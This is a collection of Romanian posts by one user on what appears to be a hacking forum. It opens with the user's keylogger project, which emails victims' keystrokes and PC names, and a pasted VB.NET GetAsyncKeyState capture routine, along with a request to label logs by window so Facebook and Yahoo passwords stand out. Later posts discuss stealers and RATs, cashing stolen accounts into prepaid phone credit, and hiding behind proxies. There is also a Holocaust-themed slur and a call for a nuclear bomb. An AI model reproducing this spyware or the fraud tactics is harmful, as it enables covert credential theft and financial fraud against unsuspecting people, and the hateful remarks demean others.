sandabot

Mersi dar am facut partea cu caracterele speciale , acum vreau doar o bucata de cod cum sa imi bage in Textbox1.text (acolo unde se strang logurile) numele ferestrei de genul : ----------------- Chrome-Facebook ----------------- hamham@yahoo.com parolameadefacebook ----------------- Yahoo!Messenger ----------------- id parola conversatii

Ok deci am keylogerul asta facut din mai multe parti i-am pus: startup , se trimit logurile prin e-mail , numele pc prin e-mail etc. Problema este ca nu mi se trimite in mail caracterele speciale ca : @ , Backspace , . , etc avand doar partea asta de cod din keylogger : Dim result As Integer Dim key As String Dim i As Integer For i = 2 To 90 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then key = Chr(i) If i = 13 Then key = vbNewLine Exit For End If Next i If key <> Nothing Then If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then tbLog.Text &= key Else tbLog.text &= key.ToLower End If End If Si daca ati putea sa-mi imbunatatiti partea de keylogger si sa imi arate numele ferestrei unde se scriu logurile. (am vazut tutorialul de pe site dar nu prea m-a ajutat) Cheers Edit: Nevermind .... I found something : Public Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Integer) As Short Public Function getCapslock() As Boolean On Error Resume Next getCapslock = CBool(GetKeyState(System.Windows.Forms.Keys.Capital) And 1) End Function Public Function getShift() As Boolean On Error Resume Next getShift = CBool(GetAsyncKeyState(System.Windows.Forms.Keys.ShiftKey)) End Function Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick On Error Resume Next Dim i As Object Dim Pressed As Object Dim LineLimit As Int32 = 69 Dim Key As Object On Error Resume Next Pressed = GetAsyncKeyState(13) If Pressed = -32767 Then Key = "[EN]" GoTo KeyFound End If Pressed = GetAsyncKeyState(8) If Pressed = -32767 Then Key = "[BS]" GoTo KeyFound End If Pressed = GetAsyncKeyState(32) If Pressed = -32767 Then Key = " " GoTo KeyFound End If Pressed = GetAsyncKeyState(186) If Pressed = -32767 Then If getShift() = False Then Key = ";" Else Key = ":" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(187) If Pressed = -32767 Then If getShift() = False Then Key = "=" Else Key = "+" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(188) If Pressed = -32767 Then If getShift() = False Then Key = "," Else Key = "<" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(189) If Pressed = -32767 Then If getShift() = False Then Key = "-" Else Key = "_" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(190) If Pressed = -32767 Then If getShift() = False Then Key = "." Else Key = ">" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(191) If Pressed = -32767 Then If getShift() = False Then Key = "/" Else Key = "?" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(192) If Pressed = -32767 Then If getShift() = False Then Key = "`" Else Key = "~" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(96) If Pressed = -32767 Then If getShift() = False Then Key = "0" Else Key = ")" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(97) If Pressed = -32767 Then If getShift() = False Then Key = "1" Else Key = "!" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(98) If Pressed = -32767 Then If getShift() = False Then Key = "2" Else Key = "@" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(99) If Pressed = -32767 Then If getShift() = False Then Key = "3" Else Key = "#" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(100) If Pressed = -32767 Then If getShift() = False Then Key = "4" Else Key = "$" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(101) If Pressed = -32767 Then If getShift() = False Then Key = "5" Else Key = "%" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(102) If Pressed = -32767 Then If getShift() = False Then Key = "6" Else Key = "7" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(103) If Pressed = -32767 Then If getShift() = False Then Key = "7" Else Key = "&" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(104) If Pressed = -32767 Then If getShift() = False Then Key = "8" Else Key = "*" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(105) If Pressed = -32767 Then If getShift() = False Then Key = "9" Else Key = "(" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(106) If Pressed = -32767 Then If getShift() = False Then Key = "*" Else Key = "" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(107) If Pressed = -32767 Then If getShift() = False Then Key = "+" Else Key = "=" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(108) If Pressed = -32767 Then Key = "" GoTo KeyFound End If Pressed = GetAsyncKeyState(109) If Pressed = -32767 Then If getShift() = False Then Key = "-" Else Key = "_" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(110) If Pressed = -32767 Then If getShift() = False Then Key = "." Else Key = ">" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(111) If Pressed = -32767 Then Key = "/" GoTo KeyFound End If Pressed = GetAsyncKeyState(2) If Pressed = -32767 Then If getShift() = False Then Key = "/" Else Key = "?" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(220) If Pressed = -32767 Then If getShift() = False Then Key = "" Else Key = "|" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(222) If Pressed = -32767 Then If getShift() = False Then Key = "'" Else Key = Chr(34) End If GoTo KeyFound End If Pressed = GetAsyncKeyState(221) If Pressed = -32767 Then If getShift() = False Then Key = "]" Else Key = "}" End If GoTo KeyFound End If Pressed = GetAsyncKeyState(219) If Pressed = -32767 Then If getShift() = False Then Key = "[" Else Key = "{" End If GoTo KeyFound End If For i = 65 To 128 Pressed = GetAsyncKeyState(i) If Pressed = -32767 Then If getShift() = False Then If getCapslock() = True Then Key = UCase(Chr(i)) Else Key = LCase(Chr(i)) End If Else If getCapslock() = False Then Key = UCase(Chr(i)) Else Key = LCase(Chr(i)) End If End If GoTo KeyFound End If Next i For i = 48 To 57 Pressed = GetAsyncKeyState(i) If Pressed = -32767 Then If getShift() = True Then Select Case Val(Chr(i)) Case 1 Key = "!" Case 2 Key = "@" Case 3 Key = "#" Case 4 Key = "$" Case 5 Key = "%" Case 6 Key = "^" Case 7 Key = "&" Case 8 Key = "*" Case 9 Key = "(" Case 0 Key = ")" End Select Else Key = Chr(i) End If GoTo KeyFound End If Next i Exit Sub KeyFound: If Key <> "" Then Textbox1.AppendText(Key) End If End Sub End Class Acum daca stiti cum sa afiseze si fereastra ar fi super

Exista un site in care uploadezi un fisier , (cryptere, conturi etc) primesti un cod , acel cod sa il trimita cineva prin SMS , iar dupa aceea sa primeasca tot prin sms modul de a luat acel fisier (mai simplificat un site in care faci plata prin sms si iei un produs uploadat de cineva )?

Salut , cred ca mai mult de jumatate din introducere este copiata dintr-o cerere de admin pe un server de cs , stii care e diferenta dintre HaCkEr si CrAcKeR ? No offense just a test

Salut, <nume> [logout] Ratie: 7.334 Upload: 3.29 TB Download: 459.30 GB Pe asta cat ai da ?

E doar un pdf , ms fail nice share

Trebuie bagati la dusurile lu Hitler !

Ma refeream la ce nu poate dovedi stiinta

beaubere si expl0iter sa nu uitam cine e tinta , sa ne abtinem de talentul romanului de a da vina pe vecin ca l-a furat francezu

Ar fi buna o alta bomba nucleara........

Unde era d-zeu cand era calcata fetita asta?

Singurele argumente ale religiei sunt inargumentele stiintei

Frumoasa povestire , dar sunt mai mult decat sigur ca acel student nu este Einstein , dar sunt de partea stiintei

Chrome ftw !!!In cazul meu e diferenta mare intre IE si Chrome

Pare cunoscut site-ul ..... de unde il stiu ? aaaaaaaaaaaaa nu imi amintesc

Daca intra in PC lu nea gheorghe , nea vasile nu il baga nimeni in inchisoare

Mda deci : 1. Cam 90% din forumul asta nu joaca metin 2. 1 Post ... increderea e 0 3. sunt sigur ca acolo e stealer / rat 4. clatite

Adauga optiunea sa folosesti proxy la fiecare cont creeat , n-o sa mai ai probleme

Sursa hf ..... l-a testat cineva pe Dark Comet ?

Totusi ganditiva cat de smecheri sunt si astia de la Orange , ei primesc euro reali , noi primim euro telefonici , noi facem treaba grea pentru ei (de aceea au un sistem atat de usor de "furat") si noi primim injuriile daca am furat n euro de la x , cand ei scapa cu banii pe care x ii plateste

Easy Hide IP + Tor Browser + Hide My ass :>

Serios , fara sarcasm .... sunt posibilitati ? Cu ip schimbat si proxy ?

Ms pentru idee , aveam niste conturi in stealer si credeam ca sunt useless totusi patesc ceva daca dau pe : " introdu numarul de telefon PrePay pe care doresti sa il reincarci:" , folosesc o cartela veche si trimit banii de pe acea cartela pe telefonul bun ?

Culcalatoare Tipu a injurat pe cei care au RAT's , i-au facut oameni bolnavi ..... http://www.mircea-badea.ro/blog/ ATTAAAAAACK !

Nice , Paint ...... Totusi daca e doar un design si nu face nimic , de ce l-ai mai postat?